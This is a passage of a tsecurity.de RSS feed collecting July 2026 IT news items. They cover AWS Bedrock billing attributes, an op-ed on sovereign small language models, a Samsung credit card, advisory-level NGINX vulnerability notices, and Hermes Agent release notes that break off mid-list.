<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seven years after Apple Card, Samsung leaps into fintech with its own credit card]]></title>
<description><![CDATA[The Samsung Galaxy Card is a direct mirror of the Apple Card, though it has some interesting cash-back offers that might be compelling for those deep in the Samsung ecosystem.Samsung Galaxy Card is a new fintech offering from Samsung and BarclaysIf there has ever been a tried and true strategy fr...]]></description>
<link>https://tsecurity.de/de/3682577/ios-mac-os/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682577/ios-mac-os/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card/</guid>
<pubDate>Tue, 21 Jul 2026 04:40:06 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Samsung Galaxy Card is a direct mirror of the <a href="https://appleinsider.com/inside/apple-card" title="Apple Card" data-kpt="1">Apple Card</a>, though it has some interesting cash-back offers that might be compelling for those deep in the Samsung ecosystem.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68307-143976-IMG_4812-xl.jpg" alt="Samsung Galaxy Card is a new fintech offering from Samsung and Barclays" height="738"><br><span>Samsung Galaxy Card is a new fintech offering from Samsung and Barclays</span></div><br>If there has ever been a tried and true strategy from Samsung, its compete with what Apple offers by beating them on the spec sheet. The Samsung Galaxy Card does exactly that with some good cash back rates right out of the gate.<br><br>The company announced the Samsung Galaxy Card via a <a href="https://news.samsung.com/us/samsung-introducing-galaxy-card/">press release</a> on Monday. It's launching primarily as a virtual-first card with up to 5% cash back, issued by Barclays on the Visa network.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/seven-years-after-apple-card-samsung-leaps-into-fintech-with-its-own-credit-card?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245007?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[NGINX Map-Regex-RCE: F5 patched CVE-2026-42533, aber der volle Exploit naht]]></title>
<description><![CDATA[BERLIN / LONDON (IT BOLTWISE) – Mit CVE-2026-42533 schließt F5 eine kritische Lücke in NGINX, die seit 2011 in der Map-Regex-Auswertung schlummert. Entscheidend ist die Kombination aus Heap-Buffer-Overflow und einer Info-Leak-Primitive, die ASLR bereits im Angriffskontext aushebelt. Ein öffentlic...]]></description>
<link>https://tsecurity.de/de/3682430/it-security-nachrichten/nginx-map-regex-rce-f5-patched-cve-2026-42533-aber-der-volle-exploit-naht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682430/it-security-nachrichten/nginx-map-regex-rce-f5-patched-cve-2026-42533-aber-der-volle-exploit-naht/</guid>
<pubDate>Tue, 21 Jul 2026 02:20:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nginx-map-regex-cve-2026-42533-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">BERLIN / LONDON (IT BOLTWISE) – Mit CVE-2026-42533 schließt F5 eine kritische Lücke in NGINX, die seit 2011 in der Map-Regex-Auswertung schlummert. Entscheidend ist die Kombination aus Heap-Buffer-Overflow und einer Info-Leak-Primitive, die ASLR bereits im Angriffskontext aushebelt. Ein öffentlich verfügbarer Config-Scanner macht es Security-Teams heute möglich, betroffene Konfigurationen zu finden, während der vollständige Proof-of-Concept für […]</p>
<div><a href="https://www.it-boltwise.de/nginx-map-regex-rce-f5-patched-cve-2026-42533-aber-der-volle-exploit-naht.html">... den vollständigen Artikel <strong>»NGINX Map-Regex-RCE: F5 patched CVE-2026-42533, aber der volle Exploit naht«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/nginx-map-regex-rce-f5-patched-cve-2026-42533-aber-der-volle-exploit-naht.html">NGINX Map-Regex-RCE: F5 patched CVE-2026-42533, aber der volle Exploit naht</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8563-2: nginx regression]]></title>
<description><![CDATA[USN-8563-1 fixed vulnerabilities in nginx. One of the fixes introduced ABI
changes that could cause issues with external modules. This update reverts
the fix for CVE-2026-42533 pending further investigation.

We apologize for the inconvenience.

Original advisory details:

 It was discovered that...]]></description>
<link>https://tsecurity.de/de/3682254/unix-server/usn-8563-2-nginx-regression/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682254/unix-server/usn-8563-2-nginx-regression/</guid>
<pubDate>Tue, 21 Jul 2026 00:01:04 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[USN-8563-1 fixed vulnerabilities in nginx. One of the fixes introduced ABI
changes that could cause issues with external modules. This update reverts
the fix for CVE-2026-42533 pending further investigation.

We apologize for the inconvenience.

Original advisory details:

 It was discovered that nginx incorrectly handled certain map directives
 using regex matching and capture variables. A remote attacker could use
 this issue to cause nginx to crash, resulting in a denial of service, or
 possibly execute arbitrary code. (CVE-2026-42533)

 It was discovered that nginx had a use-after-free vulnerability in the
 ngx_http_ssi_module module when configured with Server-Side Includes,
 proxy_pass, and proxy buffering disabled directives. An attacker able to
 intercept traffic and control responses from an upstream server could
 possibly use this issue to cause nginx to crash, resulting in a denial of
 service. (CVE-2026-56434)

 It was discovered that nginx incorrectly handled certain requests in the
 ngx_http_slice_module module. A remote attacker could possibly use this
 issue to obtain sensitive information or cause nginx to crash, resulting
 in a denial of service. (CVE-2026-60005)]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
